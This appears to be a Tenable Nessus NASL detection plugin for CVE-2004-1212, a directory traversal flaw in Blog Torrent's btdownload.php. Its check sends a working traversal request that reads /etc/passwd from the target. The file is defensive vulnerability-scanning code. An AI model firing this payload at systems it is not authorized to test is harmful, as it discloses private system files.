Vulnerabilities > CVE-2004-1212 - Remote Directory Traversal vulnerability in Blog Torrent Blog Torrent Preview 0.8

#
# (C) Tenable Network Security, Inc.
# This script is written by [email protected]
#


include("compat.inc");

if(description)
{
 script_id(15904);
 script_cve_id("CVE-2004-1212");
 script_bugtraq_id(11795);
 script_version("1.18");
 name["english"] = "Blog Torrent btdownload.php file Variable Traversal Arbitrary File Retrieval";
 script_name(english:name["english"]);

 script_set_attribute(attribute:"synopsis", value:
"The remote host has an application that is affected by a
directory traversal vulnerability." );
 script_set_attribute(attribute:"description", value:
"There is a remote directory traversal vulnerability in log
Torrent, a web-based application that allows users to host
files for Bit Torrents. A malicious user can leverage this
issue by requesting files outside of the web server root
directory with directory traversal strings such as '../'.
This would allow a successful attacker to view arbitrary
files that are readable by the web server process." );
 script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/383048" );
 script_set_attribute(attribute:"solution", value:
"n/a" );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:N/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");

 script_set_attribute(attribute:"plugin_publication_date", value: "2004/12/05");
 script_set_attribute(attribute:"vuln_publication_date", value: "2004/12/02");
 script_cvs_date("Date: 2018/11/15 20:50:19");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();


 summary["english"] = "Looks for a directory traversal vulnerability in Blog Torrent.";

 script_summary(english:summary["english"]);
 script_category(ACT_GATHER_INFO);
 script_copyright(english:"This script is Copyright (C) 2004-2018 Tenable Network Security, Inc.");
 family["english"] = "CGI abuses";
 script_family(english:family["english"]);
 script_dependencie("http_version.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 script_require_keys("www/PHP");
 exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:80);

if(!can_host_php(port:port))exit(0);

foreach dir ( cgi_dirs() )
{
 url = dir + "/btdownload.php?type=torrent&file=../../../../../../../../../../etc/passwd";
 res = http_send_recv3(method:"GET", item:url, port:port);
 if (isnull(res)) exit(0);
 if ( egrep(pattern:"root:.*:0:[01]:", string:res[2]) )
 {
  security_hole(port:port);
  exit(0);
 } 
}